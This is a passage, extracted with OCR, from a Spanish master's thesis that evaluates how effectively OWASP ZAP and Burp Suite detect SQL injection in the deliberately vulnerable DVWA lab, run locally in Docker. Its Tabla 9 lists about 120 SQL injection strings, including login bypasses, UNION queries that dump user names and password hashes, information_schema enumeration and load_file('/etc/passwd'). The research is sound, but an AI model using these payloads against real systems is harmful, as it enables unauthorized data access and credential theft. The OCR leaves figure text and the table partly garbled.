E. Evaluar los resultados de las pruebas con los criterios

I
I Yo
IR
I
I
I

F. Reportar

Figura 3. Fases de la Aplicacion de la metodologia. (Elaboracién propia)

Como indica la figura 3, la aplicacion de la metodologia propuesta tiene seis fases,

brevemente explicaremos cada una de ellas.

A. Seleccionar el escaner: Esta fase consiste en la evaluacion de las herramientas

de escaneo de vulnerabilidades con el fin de obtener los escaneres ideales para

Metodologia para la evaluacion efectiva de pruebas de penetracion para la aplicacion en el desarrollo de aplicaciones web

42




Kattya Roxana Desiderio Sanchez Master Universitario en Ingenieria de Software y Sistemas
informaticos
hacer la evaluacion de la metodologia. Este paso es de mucha importancia ya que
una vez escogida la herramienta se debe de conocer cuales son los pre requisitos
de instalacion de la herramienta para que esta funcione correctamente.

B. Configurar el escaner: Poseer una herramienta bien configurada y en perfectas
condiciones permite que el tester tenga confianza en que los resultados finales
presentados en la herramienta son fiables.

C. Ejecutar la aplicacion web a evaluar: Una vez seleccionada previamente la
aplicacion web objetivo, se debe configurar todo lo necesario para que la aplicacion
pueda ejecutarse sin problemas y sea detectable por el escaner de
vulnerabilidades. Para lograr esto dependiendo del escaner que se utilice se debe
configurar los puertos que va a escuchar ambas aplicaciones para que todas las
solicitudes que se realicen en la aplicacion web logren ser detectadas y analizadas
por el escaner.

D. Ejecutar las pruebas: De acuerdo al tipo de aplicacion web seleccionada se
realiza la planificacion de cuales son las pruebas que se van a ejecutar, los sets de
prueba que se utilizaran, se define un alcance (scope) del objetivo y demas. Ya
contando con todos estos elementos es que se procede a ejecutar los ataques de
acuerdo a lo planificado.

E. Evaluar los resultados de las pruebas con los criterios: Cada vez que sea
ejecutado cada nivel de ataque, se debe proceder a evaluar los resultados
observables y medibles dados por la herramienta de parte del tester con el
cuestionario descrito en la tabla 6.

Cada URL que es detectada como tipo inyeccion SQL debe ser analizada
manualmente, contabilizar cuantos falsos positivos y falsos negativos se
obtuvieron, una vez realizada esta tarea a cada URL resultante se procede a
aplicar el cuestionario y colocar la valoracion correspondiente.

Esta valoracién en es subjetiva ya que depende del juicio del tester.

F. Reportar: Después de la aplicacion del cuestionario, los resultados se los registra
en la tabla resumen con el fin de una vez ejecutadas todas las pruebas se tenga
un global de los hallazgos encontrados y proceder a hacer la comparativa.

La tabla 7 es la tabla que se usara para registrar la valoracion de cada evaluacion
de los criterios, en ella se indicara adicionalmente el nivel de ataque, el grado y la

URL que fue detectada como tipo de inyecciéon SQL.

En el siguiente capitulo se presentara el ambiente de pruebas utilizado, el proceso de pruebas

y los resultados de la ejecucion de la prueba de metodologia.
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4.3 Evaluacion

4.3.1. Ambiente de pruebas

Una vez creado el material de evaluacion, se procediéo a completar los pasos para crear el

ambiente de pruebas.

En el ambiente de pruebas intervienen todos los elementos necesarios para poder realizar las
pruebas de penetracion y estos son: los escaneres seleccionados previamente instalados,
tener configurado el proxy en Firefox, tener instalado los componentes para ejecutar la DVWA
que es nuestra aplicacion web en la que ejecutaremos las pruebas en nuestro localhost y

crear el archivo con sentencias de Inyeccion SQL.

4.3.1.1 Seleccidén de objetivo

Para seleccionar la aplicaciéon objetivo, se analizaron un total de cinco aplicaciones web

vulnerables que permiten llevar a cabo pruebas de penetracion y éstas son:

1. Bricks: es una aplicacion web vulnerable construida en PHP y MySQL. Es un proyecto
que tiene vulnerabilidades de seguridad de aplicaciones comunes. Cada brick o
'ladrillo’ tiene algun tipo de vulnerabilidad que puede explotarse utilizando escaneres
de seguridad.

2. BadStore: es una aplicacion web con vulnerabilidades montada sobre la distribucién
de Linux que simula una tienda de libros instalada que contiene varios fallos de
seguridad, que permite hacer pruebas de hacking realizando penetracion en la web.

3. Gruyere: es otra aplicacion web vulnerable que tiene multiples bugs de seguridad que
permite a los usuarios publicar fragmentos de texto y almacenar archivos variados que
me permite realizar test de penetracion en tiempo real.

4. DVWA: es una aplicacion web vulnerable que esta desarrollada en PHP/MySQL, que
permite a estudiantes y profesores en el aprendizaje sobre seguridad en aplicaciones
web con un entorno controlado de clases, permite practicar con las vulnerabilidades
web mas comunes, con varios niveles de dificultad y posee una interfaz sencilla.

5. Try2hack: es un sitio web creado por ra.phid.ae y es considerado uno de los sitios de
desafios mas antiguos que existen, ofrece multiples desafios de seguridad distribuidos
en niveles del 1 al 12. Donde cada desafio requiere una técnica distinta para resolver

y se vuelve mas dificil a medida que aumenta el nivel.
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Se decidio utilizar DVWA porque tenia documentacion mas completa y existia mas

informacion de como arreglar problemas de configuracién por proxy.

4.3.1.2 Seleccion de escaneres

Actualmente, en el mercado contamos con una amplia gama de escaneres de
vulnerabilidades, desarrollados para vulnerar redes, otros para vulnerar sistemas y también
para atacar aplicaciones web. Inclusive existen los construidos con el fin de atacar a distintos

objetivos.

La seleccion de los escaneres se lo realizo de la siguiente manera:

1. Primero se cred una lista con 15 de los escaneres mas utilizados para vulnerar
aplicaciones de manera aleatoria.

2. Cada uno se lo evalu6 en base si cumplia ciertas caracteristicas y requerimientos tales
como:

e Si existia una version disponible para MacOS.

¢ Si existia una version libre o si la empresa de seguridad si bien tenia su version de
pago ademas de tener una version de prueba, nos aceptaban la solicitud y nos
daban acceso por unos dias.

¢ Si la herramienta contaba con un framework para manejar ataques por interfaz

grafica.

e Si existia una buena documentacion para la configuracion del proxy.

La siguiente tabla muestra los resultados después de la evaluacion.

Tabla 8. Evaluacion de escaneres

Version Version Solicitud | S.0/Versiéon | Framework
Libre Prueba Aceptada
OWASP X X X
Paros X X X
Metaexploit X X
Burp Suite X X X X
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Vega

OpenVas

Nessus

Acunetix

X| X| X| X

x| X| X| X

The Harverest

X

Qualys

IronWasp

SqiMap

Nmap

X| X| X| X| X| X| X| X

x| X| X| X

Arachni

X| X| X| X

Veracode

Elaboracién Propia

Una vez recopilada la informacion se decidié optar por: Owasp Zap ya que es libre y Burp

Suite porque nos dieron un tiempo de prueba.

4.3.1.3 Instalacion de escaneres

Los escaneres escogidos son Owasp ZAP y Burp Suite, y las distribuciones que se utilizaron

fueron de Mac Os.

4.3.1.3.1 Owasp Zap

Para instalar el escaner Owasp ZAP debido a que ZAP es independiente de la plataforma se

lo puede instalar en Windows, Linux o Mac OS, pero se necesita Java 8+ instalado en sistema

operativo.

La version que se instalé se la descargo desde la pagina web oficial https://www.zaproxy.org/

yesla2.9.0.
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Figura 4. Pantalla de bienvenida de OWASP ZAP. (Elaboracién Propia)

Confiquracion del proxy

Una vez instalado OWASP ZAP fue necesario realizar las configuraciones respectivas que
indica en la documentacion oficial.

Se utilizo el navegador firefox y en el se configuro un proxy para interceptar y alterar las
peticiones HTTP en el navegador web y la IP por defecto la local 127.0.0.1 para la
configuracion en el navegador.

Realizar esta configuracion me permite explorar todas las funcionalidades de la aplicacion

web.

Los pasos para configurar en el proxy fueron los siguientes y fueron tomados por (Raul, 2016):

1. Accedemos al submenu Herramientas del menu principal de OWASP ZAP.

2. Dentro de menu Herramientas, accedemos al submenu Opciones.
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° Sesion sin Nombre - 20160622-225537 - OWASP ZAP 2.43
Archivo Editar Ver Analizar Online Ayuda
(Modo estandar_|¥) | &2 Filtro, QXEmE o
Buscar en la AP| "
Siios én | Respuesta
d + CodificanD: Mash . CU+E pusstaes [ i
Lo} [ =a e Toggle Break on All Requests CuiB
v 5 Conterts Toggle Break on All Responses cueans DWASP Zed Attack Proxy (z
Q-..‘. Default Context Enviar y esperar a |a siguiente pebicién o respuesta Cut+S
® émos Envary gontinuar hasta el siguiente punto de interrupcion  CtrieC uebas de penetracion, de tacll uso y con multiples comg
Descartar peticion o respuesta CtrieX . N \ I sid
Add a Custom HTTP Break Point CitoA ptacar aplicaciones para Ias cuales se ha sido previame
Aciar Escaneo, CUAIA - Lsamente, introduzca Ia URL y presione ‘Atacar
Spider. ClrivAlt+3
Editor manual de peticiones. Ctrielt
Run the Gardage Collector
Envar de forma manual el mensaje YWebSocket ' Macar W Detener

. Fuzz Clri+Alt+F dado

Para un andlisis mas en profundidad de I3 prueda se dede explorar |2 aplicacién media

Si usted esta usando Firefox 24.0 0 superior puede usar Plug-n-Hack para configurar si

[ C@ﬁcure sunaveoador. | & Plug-n-Hack |
«

[ ristonia | < Buscar | F mertas | salisa | 4 |
© @ | FiloAPAGADO

Figura 5. Pasos 1y 2. (Tomada. De Raul, 2016)

3. En el submenu Opciones, acceder a la opcién Proxy local.

4. En la configuracion del proxy local, introducimos los datos del Address y Puerto,
recomiendo localhost y 8090 (o cualquier otro puerto que no este siendo utilizado)
respectivamente.

izar Reporte Herramientas Online Ayuda

SEEHE 22 DE@C OS2 0D &/ OGP POXEGBRE o

2
§
¢

A s
~ Breakpoints » | Proxy local P

Buscar
Proxy local
Certificado

Cuicados S3 Oindsmcet Address (eg locainost, 127.0.0.1) .lammosl

Conexén Puerto (e} 8080)
Database

EncodeDecode

E5caneo Actho Establece |3 configuracion. Los puertos hifp y hitps tienen que ser los mismos que los

Escaneo Pasivo 2

Extensions (V) ModifyiRemove “Accept-Encoding” request-header

Fuzzer () Always unzip gzipped content

Global Exclude URL (Beta)

HEp Sessions Security Protocols

Jw

Keyboard (L) SSLv2Hello (/) SSL3 () TLS 1 (M TLS 1.1 (M) TLS 12 gresidn a
y

Lenguage

Mostrar

Navegacién Predefinida

Passive Scan Rules

jcontrar w

2090 5

|

| || |v

Figura 6. Paso 3 y 4. (Tomada. De Raul, 2016)

5,6,7: Configurar Firefox para que navegue a través de OWASP ZAP, los datos de Proxy
HTTP y Puerto tienen que coincidir con los del punto 4 (ej. localhost, 8090).
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t

(] Mo preguntar identificacon 5 ls contraseha ests guadeds

o) [Theae

hitps//web.whatsapp.com

Figura 7. Paso 5, 6 y 7. (Tomada. De Raul, 2016)

4.3.1.3.2 Burp Suite

Burp Suite fue la Unica empresa que no solo contestd rapido la solicitud, sino que nos
proporciond un link para realizar obtener nuestra clave temporal, iniciemos sesion vy

realicemos la descarga del software de prueba.

Free trial confirmation Recibidos X

PortSwigger Web Security <licensing emails @portswigger.net-
parami ~

% inglés espafiol = Traduci mensaje

Welcome to your Burp Suite
Professional journey.

Here's how to get started with the leading toolkit for
pplication security engii S.

Download, launch, and scan

1. Get your password here

2. Login to your PortSwigger account. Your usemame is
kdesiderio@contifico.com

3. Download Burp Suite Professional software and your license key
4. Launch the software - follow the wizard to activate your trial license

5. Set up your first scan using Burp Proxy for user-driven workflows or Burp
Scanner for automated vulnerability scans.

Helpful hint: Use the following site for your first scan portswigger-labs.net -
using the above instructions for Burp Proxy.

Figura 8. Correo de confirmacién de Burp Suite. (Elaboraciéon Propia)

Para instalar el escaner solo descargamos la version para MacOs y le dimos doble clic para

comenzar ha instalar. La version que nos dieron fue de Burp Suite Professional v2020.5.1.

Confiquracion del proxy

Una vez instalado realizamos las configuraciones respectivas que indica en la documentacion
oficial que tiene una variaciéon con la de OWASP ZAP.
La configuracién tendria que quedar como indica la siguiente figura:
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® Connection Settings - o x

Configure Proxies to Access the Internet
O No proxy
O Auto-detect proxy settings for this network
O Use system proxy settings
®|Manual proxy configuration:

HTTP Proxy: | 127.0.0.1 | Port: | 8080

Use this proxy server for all protocols

O [[J Remote DNS
No Proxy for:

Example: .mozilla.org, .net.nz, 192.168.1.0/24
O Automatic proxy configuration URL:

[J Do not prompt for authentication if password is saved

? Help €3 cancel ‘ © ok ‘

Figura 9. Configuracion del proxy para Burp Suite. (Elaboracion Propia)

4.3.1.4 DVWA

Para poder ejecutar la aplicacion vulnerable seleccionada la DVWA teniamos dos opciones
por ISO o por Docker.

En este caso se us6 Docker por las ventajas que brinda. Docker es un proyecto open source
creado en 2013 y que ha supuesto una revolucién para el desarrollo y despliegue de
aplicaciones. Los contenedores son un paquete de elementos que permiten crear un entorno
donde ejecutar aplicaciones independientemente del sistema operativo. (Fernandez Ginés,
2018)

Se realizo la instalacion de docker bajandonos el instalador de la pagina web oficial de docker
https://hub.docker.com/editions/community/docker-ce-desktop-mac/.

Una vez instalado docker, el comando que utilizamos para ejecutar la aplicacion fue el
siguiente 'y fue extraido de |Ia pagina  oficial de  documentacion

https://hub.docker.com/r/vulnerables/web-dvwa/:
docker run --rm -it -p 80:80 vulnerables/web-dvwa

Una vez ejecutada la imagen en nuestra maquina local, se procedié a dar clic en el botdn
Create / Reset database o Crear/Resetear Base de Datos que generara las configuraciones
necesarias para poder comenzar.
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localostsetup o DN

Ds)

Database Setup -

Click on the ‘Create / Reset Database" button below to create or reset your database.
I have credentials

If the database already exist, it will be cleared and the data will be reset
You can aiso use this {0 reset the administrator credentials ("admin / password") at any stage.

Setup Check
Operating system: nix

MysaL
-0+debBut

PHP versior
Web Server SERVER_NAVE: localhost

PHP function display_errors: Disabled
PHP funci blod

PHP funci Enabled
PHP funci Enabled
PHP func c: Disabled

reCAPTCHA key: 6LAKTXITAAZZAAJQTIL7fu6l-0aPIBKHHISAT_yJg

Writable folder varfwwwihtmiackable/uploads!: Yes)
Witable il /varwwwintmi/extemallphpids/0.6/ibIDS Amplphpids_log txt: Yes

Status in red, indicate there will be an issue when trying to complote some modules.

Greate  Reset Database

Unable to connect to the database.

Figura 10. Pagina inicial para crear la base de datos. (Elaboracién Propia)

Luego se automaticamente esta re direcciona a la pagina de inicio de sesion en la que se

debera colocar las credenciales por defecto de la aplicacion, estas son:

Username: admin
Password: password

Por ultimo, se debera setear el nivel de dificultad que en nuestro caso va a hacer low. Nos

dirigimos a la opcion del menu llamada DVWA Security y escogeremos en Security level la

opcioén low. Esto permitira que podamos usar todas las combinaciones recopiladas en nuestro

archivo de secuencias de inyeccion creada.

000 < ]

Instructions

Setup / Reset DB |

Brute Force
Command Injection
CSRF
File Inclusion
File Upload
Insecure CAPTCHA
SQL Injection
SQL Injection (Blind)
XSS (Reflected)

DVWA Security

Security Level
Security level is currently: low.

You can set the security level to low, medium, high or impossible. The security level changes the vulnerabilty
level of DVWA:

1. Low - This security level is completely vulnerable and has no security measures at all. Its use s to be
as an example of how web application vulnerabiliies manifest through bad coding practices and to serve
as a platform to teach or lean basic exploitation te

2. Medium - This setting is mainly to give an example to the user of bad security practices, where the
developer has tried but failed to secure an appication. It also acts as a challenge to users to refine their
explottation techniques.

3. High - This option is an extension to the medium difficuty, with a mixture of harder or alternative bad
practices to attempt to secure the code. The vulnerability may not allow the same extent of the
exploitation, similar in various Capture The Flags (CTFs) compefitions.

4. Impossible - This level should be securs against all vulnerabilities. tis used to compare the vuinerable
source code to the secure source code.

V1.9, this level was known as ‘igh

XSS (Stored)

PHP Info
L |

About

Logout

Username: admin
ocurity Level: low

PHPIDS: disabled

Low Submit

PHPIDS

V0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web appiications.
PHPIDS works by filtering any user supplied input against a biackist of potentially malicious code. Itis used in
DVWAo serve as a live example of how Web Application Firewalls (WAFs) can help improve security and in
some cases how WAFs can be circumvented
You can enable PHPIDS across this site for the duration of your session.

PHPIDS is currently: disabled. [ 1
[ 1-0 1

Figura 11. Pagina de la Seguridad de DVWA. (Elaboracién Propia)
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4.3.1.5 Archivo de inyeccion SQL

Como vamos a realizar pruebas de inyeccion SQL un elemento clave es el archivo con las
sentencias ya que este es el que se utilizara en los tres escaneres.

La creacion de este archivo también sirve como ayuda para auditar manualmente los URLs
que detecte las herramientas.

Para las creaciones de este archivo recopilamos un total de 120 sentencias SQL, algunas son
combinaciones entre ellas con el objetivo de detectar cuales de ellas me permiten realizar un
ataque exitoso.

Una vez creado las sentencias se procedié a validarlas en DVWA, usando el formulario de
SQL Injection. De las 120 solo 60 sentencias SQL pasaron, se muestra en la siguiente tabla
cuales sentencias pasaron y cuales no. Se las agrupo en estos dos grupos para poder
comparar los resultados entre grupos. Se las denomino “Sentencias SQL que si pasaron” a
las sentencias SQL las cuales proporcionaron un resultado de la consulta por interfaz en la
aplicacion web, mientras que las “Sentencias SQL que no pasaron” se las denomino asi
porque fueron sentencias que al ejecutarlas por interfaz: no hubo respuesta, no se ejecutaban

0 se mostraba que habia ocurrido error de sintaxis.

Tabla 9. Tabla de Sentencias SQL ejecutadas

Sentencias SQL que si pasaron Sentencias SQL que no
pasaron
1. 1=1# 1. or 1=1
2. 1=1/* 2. or 1=1--
3. a' UNION SELECT 1,2# 3. or 1=1#
4. a'OR1=1# 4, or 1=1/*
5. a’ OR "= 5. admin' or '1'="1"--
6. 1’ order by 1 6. union select 1,@@version#
7. 1" UNION SELECT 1;- - 7. ‘ union select
8. 1 OR 0=0---- null, @@hostname #
9. 1 UNION order by 3 # 8. ‘ union select @@yversion#
10. 1’ union select 1, 2 9. "“order by 1#
11. 1’ union select null, version() 10. “or 1=1 union select 1 #
12. 1 union select null 11. union all select
13. 1=1 union select null system_user(),user() #
14, admin' or '"1'="1'# 12. ‘ union select null,database()
15. admin'or 1=1 or "=' #
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16. admin' or '1'="1

17. admin' or 1=1#

18. 1’ union select concat(database(), * °
version()), user()—

19. %' and 1=0 union select null,
concat(user,":',password) from users #

20. %’ or 0=0 union select null, user() #// Display

Database User

21. %’ or 0=0 union select null, database() #
/[Display Database Name

22.

from

%' and 1=0 union select null, table_name
information_schema.tables # //Display all
tables in information_schema
23. a' UNION SELECT table_name,null FROM
information_schema.tables #
24,

from information_schema.tables where table_name

%' and 1=0 union select null, table_name

like 'user%'# //Display all the user tables in
information_schema

25.
/[Display Database Version

% and 1=0 union select 1,@@version#

26. 1 select 1,@@version#
27. %' and 1=0 union select null,
concat(table_name,0x0a,column_name) from

information_schema.columns where table_name =
'users' # //Display all the columns fields in the
information_schema user table

28. %' 1=0

concat(first_name,0x0a,last_name,0x0a,user,0x0a,

and union  select null,
password) from users # //Display all the columns
field contents in the information_schema user table
29. '

information_schema.tables

union select table_name,null  from

where
table_schema='dvwa'-- -

30.  'union select database(),null -- -

13. %’ and 1=0 union select
null,database() #

14. ‘ union select
null,schema_name from
information_schema.schemata

15. ‘ union select null,table_name
from information_schema.tables #
16. ‘ union select null,table_name
from information_schema.tables
where table _schema = ‘owasp10’ #
17. ‘ union select
null,concat(table_name,0x0a,column
_nhame) from
information_schema.columns where
table_name= ‘users’ #

18. ‘ union select
null,concat(first_name,0x0a,passwor

d) from users #

19. ‘ union select null,@@datadir
#
20. “union all select

load_file(‘/etc/passwd’),null #
21. 1" UNION SELECT
1,table_name FROM
information_schema.tables;- -
22. 1" UNION SELECT
1,column_name FROM

information_schema.columns;- -

23. ‘“or 1=1 union select user(),1
#

24. “or 1=1 union select
database(),1 #

25. “or 1=1 union select

table_name, column_name from
information_schema.columns #
26. OR 7=7 #;
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31. '

information_schema.columns

union select column_name,null from
where

table_name='users'-- -

32. ' union select user, password from users-- -
33. 1 UNION SELECT 1,current_user()

34. 1 union select null, @@hostname #

35. %’ and 1=0 union select null,@@hostname
#

36. 1 union select @@version#

37. %’ and 1=1 union select @@version#

38. SELECT 1,@@version;- -

39. UNION SELECT 1,current_user();- -

40. select 1,@@version order by 1 #

41. 1 union all select system_user(),user()

42. 1 union select null,database() #

43. 1 select null,database() #

44, a' union select null,database() #

45, 1 union select null,schema _name from
information_schema.schemata

46. 1 union select null,table name from
information_schema.tables where table_schema =
‘owasp10’ #

47. 1=1 union select null,table name from
information_schema.tables where table_schema =
‘owasp10’ #

48. 1=1 union select
null,concat(table_name,0x0a,column_name) from

information_schema.columns where table_name=

‘users’ #

49, 1 union all select load_file(‘/etc/passwd’),null
#

50. 1= 1union all select

load_file(‘/etc/passwd’),null #
51. 1 UNION SELECT 1,table_name FROM

information_schema.tables;- -

27. 'OR'a'="a'

28. admin' --

29. admin' #

30. admin'/*

31. admin' or '"1'="1"/*
32. admin'or 1=1 or "='
33. admin' or 1=1

34. admin' or 1=1--
35. admin') or ('1'="1
36. admin') or ("1'="1"--
37. admin') or ('1'="1"#
38. admin’) or '1'="1
39. admin') or '"1'="1"--
40. admin') or "1'="1'#
41. admin') or "1'="1'"/*
42. admin" --

43. admin" #

44. admin"/*

45. admin" or "1"="1
46. admin" or "1"="1"--
47. admin" or "1"="1"#

48.  admin" or "1"="1"/*

56. admin") or "1"="1"--

57. admin") or "1"="1"#

58. admin") or "1"="1"/*

59. 1=0 UNION ALL SELECT
"admin",
"81dc9bdb52d04dc20036dbd8313ed
055

49. admin"or 1=1 or "'="
50.  admin")or ("1"="1"--
51. admin") or ("1"="1
52.  admin")or ("1"="1"--
53.  admin")or ("1"="1"#
54.  admin")or ("1"="1"/*
55. admin") or "1"="1

)

)
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52. 1 UNION SELECT 1,column_name FROM | 60. UNION ALL SELECT

information_schema.columns;- - "admin",
53. 1=1 UNION SELECT 1,column_name | "81dc9bdb52d04dc20036dbd8313ed
FROM information_schema.columns;- - 055

54. a' union select null, concat(user,":',password)
from users #

55. 1’ union select concat(user_id,’ * first_name,’
‘last_name,’ ‘avatar),concat(user,” ‘,password) from
users

56. 1" and 'test' = 'b' union select database(),
user() #

57. 1 and 1=0 wunion select table name,
column_name from information_schema..columns
where table_name = 0x7573657273

58. %' and 1=0 union select null, table_name
from information_schema.tables #

59. % UNION SELECT user, password from
users #

60. 1234 ' AND 1=0 UNION ALL SELECT
‘admin’, '81dc9bdb52d04dc20036dbd8313ed055

Elaboracién Propia

Una vez instalados y configurados los escaneres, configurado el proxy y creado el archivo con
las sentencias recopiladas procedimos a ejecutar las pruebas en el primer escaner que es

Owasp Zap y luego en Burp Suite.
4.3.2. Proceso de pruebas

Se tratd disefiar como se llevara a cabo la ejecucion y replicacion de la metodologia. Antes
de ejecutar la prueba en cada escaner, se tuvo que configurar o reconfigurar el proxy para
que se adapte a las especificaciones de configuracion establecidas en la documentacién

oficial.

Una vez configurado el proxy e instalado todos los elementos necesarios para levantar el
servicio de la aplicacion vulnerable seleccionada y tener en ejecucion el escaner, se definid

que, para cada uno se debia seguir los siguientes pasos que son explicados en la figura 12.
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realizar

realizar realizar

Ataque Pasivo Ataque Activo Ataque Fuzzer

l aplicar l aplicar l aplicar

El cuestionario de los criterios

Figura 12. Flujo del proceso de pruebas. (Elaboraciéon Propia)

Cada vez que se termine de ejecutar cada ataque, se debia aplicar el cuestionario para cada
vulnerabilidad encontrada de tipo Inyeccion SQL y llenar la tabla de resultados.

Adicionalmente reportar el numero de vulnerabilidades procesadas, el numero de falsos
positivos, el numero de falsos negativos y a cuantas vulnerabilidades se les aplico los criterios
de efectividad.

4.3.3. Ejecucion de las pruebas

4.3.3.1 Primer Escaner

El primer escaner con el que trabajamos es Owasp ZAP y antes de realizar el primer ataque
procedimos a ejecutar la DVWA, verificar las configuraciones en el proxy de Firefox, ya que
sino el escaner no va a trabajar correctamente.

Una vez configurado el ambiente de prueba para Owasp ZAP, procedimos a ejecutar la
aplicacion web seleccionada.

Ya abierto Owasp Zap se debe seleccionar si se desea guardar la sesion o si se quiere usar

una sesion temporal.

OWASP ZAP - OWASP ZAP 2.9.0

Modoestindr PN [E[dm[p]@ [J]f~ B 2 80 0B @O0 &8V © P ) o[%Ee o [¢€e
T B - rovesa +
ClElElE] nto: Tabla (ad) Cuerpo:Vista Raw o

Valor

OWASP ZAP
i6n de ZAP?

un nombre basado en el tiempo actual

sesion, pero quiero especificar el nombre y la ubicacion a utilizar

Varca de iempo Req aods  URL Codigo Razén R Tamaro requerido para ol cuert o Aleral

Figura 13. Interfaz inicial. (Elaboracién Propia)
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El siguiente paso fue hacer clic en el icono de Firefox de la interfaz, que ya no da las

configuraciones de zap para que se cree el arbol de la aplicacién web tal como lo indica la

siguiente figura.

amiento: Tabla adv) &

ro[%[we @ [ole[®
= Peticién

CuerpoVistaRaw | ] |

Instructions.

warictions |
Setup Reset 0B

Brute Force

)

Home

Vulnerability: SQL Injection

CSRF
Filo Inclusion

More

File Upload

Insecure CAPTCHA

SQL Injection (Blind)
Weak Session IDs
XSS (DOM)

X8 (Reflected)
X8 (Stored)
CSP Bypass.

Figura 14. Arbol del sitio creado usando las configuraciones de zap para Firefox. (Elaboracién Propia)

4.3.3.1.1 Escaneo Pasivo

Para iniciar con el escaneo pasivo damos clic derecho en el arbol de la aplicacion web que se

creo con el nombre “localhost” y seleccionamos la opcion “Arafia” del menu “Atacar”.

R T

e olal= Encabezamiento: Tabla (adv) E

v (7 Contextos Tipo Nombre Parimetro
[©] Contexto predeterminado

v @ Sitios

» g https://incomina.telemetry.mozilla.ora | |
MLt Atacar » i Arana...
» [ Incluir en contexto » ) Activar Escaneo...
GE Marcar como un contexto > 2" Sitio de navegacién predefinida
w  Ejecutar aplicacion 4 2" Directorio de navegacion definido
m  Excluir del contexto seleccionado > " Directorio de navegacion definido (e hijos)
U Reenviar... # AJAX Spider sitio
v Excluir de > &Fuzz.
A Open URL in Browser > =
. Mostrar en la pagina de historial
Vime am ol mavimmadas

Figura 15. Arbol del sitio creado usando las configuraciones de zap para Firefox. (Elaboracién Propia)

Cuando se termine de ejecutar el ataque arana(spider) o pasivo, podremos notar que en el
arbol se visualizan nuevas URLs. Estas URLs fueron detectadas por el ataque pasivo rastrea

todas las URLs de la aplicacion.

Owasp ZAP tiene una seccion en donde se reportan las vulnerabilidades detectadas y las

clasifica por categorias de riesgos.
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T
(] L] Sesi6n sin Nombre - OWASP ZAP 2.9.0
Modoestidr P [Sd®m[[&][Z[F= @ 8 8 @@ @ D (&[&]7 @ » ) o[X @« m ol@
+  Respuesa
=1 =](=] Tabla (adv) Cuerpo:Vista Raw ENE]
v 5 Contextos Tipo Nombre Parimetro Valor

(%] Contexto predeterminado
v @ sitios
ver
> LR dvwa
[ 7 ¥ GET:dvwa
[ # GET:dvwa(©)
GET:favicon.ico
» LR wicons
[ GET:index.php
 GET:login.php

| POST:login.php(Login,password,user_token,username)
| 2 # GET:robots.txt
2 # GET:sitemap.xml
¥ GET:vulnerabilities
v L P vulnerabilities

|| # GET:brute
# GET:captcha
# GET:csp
= Historia  © Buscar Salida &% WebSockets % Spider(Arafia) LD Alertas % -
@0 [7[F Aqui se mostrara el detalle completo de cualquier alerta seleccionada.
v L Alertas 9)
» f Divulgacion de error de aplicacion (63) Puede afiadir alertas de forma manual haciendo clic con el botén derecho sobre cualquier entrada en el hi

»  Encabezado X-Frame-Options no establecido (68)

» 2 Absence of Anti-CSRF Tokens También puede editar las alertas existentes haciendo doble clic sobre ellas.
» U Cookie No HttpOnly Flag (2)

» U Cookie Without SameSite Attribute (2)

» ¥ Divulgacion de error de aplicacion (2)

» ¥ No se encuentra encabezado X-Content-Type-Options

Figura 16. Arbol del sitio ampliado debido al ataque pasivo. (Elaboracién Propia)

Ya realizado el ataque procedimos a aplicar el cuestionario a los resultados obtenidos.

4.3.3.1.2 Escaneo Activo

Para iniciar con el escaneo activo damos clic derecho en el arbol y seleccionamos la opcién
“Activar Escaneo” del menu “Atacar”. Esta opcion nos indica que realizaremos un ataque

activo a la aplicacion.

v [} Contextos Tipo Nombre Parametro
[©] Contexto predeterminado
v @ Sitios
vER

ST Atacar # Arafia...
| 1®# Incluir en contexto ¢ Activar Escaneo...

»
>
|1m# Marcar como un contexto > ~ " Sitio de navegacion predefinida
|1 cer  Ejecutar aplicacién »  , Directorio de navegacién definido
» e Excluir del contexto seleccionado > 2" Directorio de navegacion definido (e hijos)
wG U Reenviar... # AJAX Spider sitio
mg Excluirde 4 Fuzz... E
" n~e Open URL in Browser [l |

vy

Figura 17. Ataque pasivo. (Elaboracién Propia)
Como lo que queremos es realizar el ataque exclusivamente al URL que nos provoca el ataque
de inyeccidn, del arbol seleccionaremos la URL en particular. Damos clic en la opcién Atacar

> Activar Escaneo y seleccionamos Iniciar Escaneo.

PRI =] CHLAUEZAIEn. 1auia @uy) v LueIpu. VISt Raw v 1=y
| % GET:brute Tipo Nombre Pardmetro valor
| ¥ GET:captcha ® [ ] Escaneo Activo e
: :gg::: W Vectores de Entrada  Vectores Personalizados ~ Tecnologia  Politica  Filter 52h6j:
|| # GET:exec ) B
|| # GET-fi Punto de partida: ‘localhost/vulnerabilities /sqli/%id= it=Submit = @ Seleccionar...
| # GET:javascript
|| P GET:sqli Politica Politica por defecto
Owm
|| % GET:sqli_blind Contexto:
|| # GET:upload [Isnatio: | 3
| % GET:view_help.php
|| # GET:view_source.php Recurso:
| % GET:view_source_all.php
| % GET:weak_id Mostrar opciones avanzadas

Figura 18. Configuracién del ataque pasivo. (Elaboracion Propia)

58

Metodologia para la evaluacion efectiva de pruebas de penetracion para la aplicacion en el desarrollo de aplicaciones web



Kattya Roxana Desiderio Sanchez

Master Universitario en Ingenieria de Software y Sistemas

informaticos

Ya realizado el ataque procedimos a aplicar el cuestionario a los resultados obtenidos.

4.3.3.1.3 Escaneo Fuzzer

Por ultimo, para realizar el escaneo fuzzer, damos clic derecho en el arbol y seleccionamos la

opcion “Fuzz” del menu “Atacar”. Esta opcion nos indica que realizaremos un ataque fuzzer a

la aplicacion.

# GET:csp

un
cookie

[

PHPSESSID
L1 GET:csrf cookie security
|| ¥ GET:exec
B e gavaserivt # Arafia..
7 GET-sqli Incluir en contexto > 2 Activar Escaneo...

. - —ay Marcar como un contexto > 7 Sitio de navegacion predefinida
T Ejecutar aplicacion > 7 Directorio de navegacion definido
L] # GET:sqli_blind Excluir del contexto seleccionado > /" Directorio de navegacién definido (e hijos)
L] ¥ GET:upload U Reenviar... # AJAX Spider sitio

 GET:view_help.ph gy clyir de | ¥ Fuzz..
¥ GET:view_source.|  Qpen URL in Browser >

# GET:view_source_
|| ¥ GET:weak_id

Mostrar en la pagina de historial
Ver en el navegador

Figura 19. Ataque fuzzer. (Elaboracion Propia)

Damos clic y se nos mostrara la pantalla de configuracién del fuzzer, en donde deberemos de

ingresar las cadenas para realizar el ataque con las cadenas de inyeccion que previamente

creamos.

Fneahazamisnta: Tahla (achd &
uzz

ece Fuzzer

Cusrna:

icta Raws a

OIS Opciones  Procesadores de mensajes t

Encabezamiento: VistaRaw o]  Cuerpo:Vista Raw [ ]

GET http://localhost/vulnerabilities/sqli/ HTTP/1.1

